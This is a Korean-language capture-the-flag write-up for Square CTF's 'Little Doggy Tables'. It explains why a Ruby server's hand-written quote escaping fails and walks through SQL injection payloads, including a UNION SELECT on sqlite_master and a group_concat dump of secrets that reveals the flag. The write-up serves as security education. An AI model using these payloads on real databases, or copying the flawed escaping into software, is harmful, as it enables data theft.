본문 바로가기
웹 해킹/CTF

[Square CTF] Little Doggy Tables

by L3m0n S0ju 2021. 9. 1.

#!/usr/bin/env ruby

# author: Will McChesney <wmcc@squareup.com>

require "sqlite3"
require "webrick" // 루비에서는 webrick 모듈을 이용해 Http 서버를 간단하게 만들 수 있음

PORT = ARGV[0]

class SecureDatastore
  include Singleton

  def initialize
    @db = SQLite3::Database.new("secure.db")
  end

  def secure_species_lookup(insecure_codename)
    # roll our own escaping to prevent SQL injection attacks
    secure_codename = insecure_codename.gsub("'", Regexp.escape("\\'"))
    query = "SELECT species FROM operatives WHERE codename = '#{secure_codename}';"

    puts query
    results = @db.execute(query)

    return if results.length == 0 // 조건이 거짓이면 nil 반환(NULL과 같은 개념)
    results[0][0] // [0 레코드=행], [0 필드=열]
  end
end

server = WEBrick::HTTPServer.new(Port: PORT)

trap("INT") { server.shutdown }

class AgentLookupServlet < WEBrick::HTTPServlet::AbstractServlet // 서블릿이란 서버에서 동작하는 코드를 의미
  def do_GET(request, response)
    response.status = 200
    response["Content-Type"] = "text/plain"

    response.body = SecureDatastore.instance.secure_species_lookup(request.query["codename"]) + "\n"
  end
end

server.mount "/agent_lookup", AgentLookupServlet

server.start

 

 

 

 


문제의 핵심 코드는 아래 명령어 입니다. 해당 코드가 사용된 이유는 만약 입력된 값에 '이 있다면 '를 \'로 치환하여 함수 기능을 막는 이스케이프 처리를 해야합니다.

 

secure_codename = insecure_codename.gsub("'", Regexp.escape("\\'"))

 

 

 

 


 

첫번째로 \'로 치환하는 것이 아닌 \\'로 치환하는 이유는 루비 인터프리터 특성 때문입니다. 루비 인터프리터는 '과 \'는 같다고 판단하기 때문에 \앞에 \를 붙여서 \'가 문자로 인식되기 하기 위해서는 \\'로 치환해야 합니다.

 

 

 

 

 

 


두번째로 Regexp.escape("\\'")함수를 적용하면 결과는 \\\\'이 됩니다. 이스케이프 처리를 한번 더해서 \가 4번 반복되는데 그 이유는 위 그림과 같이 gsub 함수 내에서 "\\'"는 앞에 문자의 위치 다음 문자열을 가르키는 예약어라서 ab\'cdef가 아닌 abcdefcdef 와 같이 적용이 되기때문에 이스케이프처리를 한번 더 해줘야합니다. 따라서 결론적으로 \\\\'로 치환해야 '는 \'로 이스케이프 처리가 됩니다.

 

 

 

 

 


codename에 ' or 1=1 -- 를 입력한다고 가정하면 아래와 같습니다.

 

query = "SELECT species FROM operatives WHERE codename = '\' or 1=1 -- ';"

 

결과는 아래와 같이 dog라는 문자열이 출력됩니다. 이는 첫번째 레코드의 첫번째 컬럼 정보만 가져오기 때문에 발생하는 문제입니다.

 

 

 

 

 

 


' union select sql from sqlite_master where name="operatives" -- // sqlite_master -> 메타데이터 저장하는 테이블

// sql 컬럼을 확인하면 name 컬럼에서 operatives 이름을 가진 테이블을 생성할 때 사용한 SQL 구문을 볼 수 있다.

 

sqlite_master 테이블에 포함된 컬럼

 

- type

- name -> 객체의 이름

- tbl_name -> 

- rootpage 

- sql -> 객체 생성 시 사용된 SQL 쿼리

 

 

 

 


' union select secret from operatives -- 를 입력하면 136571b41aa14adc10c5f3c987d43c02c8f5d498이 출력되어 아스키 코드로 변환하면 eq´¡JÜÅóɇÔ<ÈõԘ 의미없는 문자열이 출력된다.

 

 

따라서 아래 코드와 같이 group_concat(column)을 사용해서 결과를 모두 한줄로 출력하게 한다.

' union select group_concat(secret) from operatives -- 

 

 

 

 


e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e,7448d8798a4380162d4b56f9b452e2f6f9e24e7a,9c6b057a2b9d96a4067a749ee3b3b0158d390cf1,5d9474c0309b7ca09a182d888f73b37a8fe1362c,flag-a3db5c13ff90a36963278c6a39e4ee3c22e2a436,ccf271b7830882da1791852baeca1737fcbe4b90,d3964f9dad9f60363c81b688324d95b4ec7c8038,136571b41aa14adc10c5f3c987d43c02c8f5d498,b6abd567fa79cbe0196d093a067271361dc6ca8b,4143d3a341877154d6e95211464e1df1015b74bd

 

결과는 위 문자열과 같은데 중간에 flag를 찾을 수 있다. 

 

플래그 -> flag-a3db5c13ff90a36963278c6a39e4ee3c22e2a436

'웹 해킹 > CTF' 카테고리의 다른 글

[HackCTF] Hidden  (0) 2021.09.10
[HackCTF] /  (0) 2021.09.10
[Square CTF] Password checker  (0) 2021.08.11
[WebGoat] General - HTTP Proxies  (0) 2021.05.15
[WebGoat] General - HTTP Basics  (0) 2021.05.15

댓글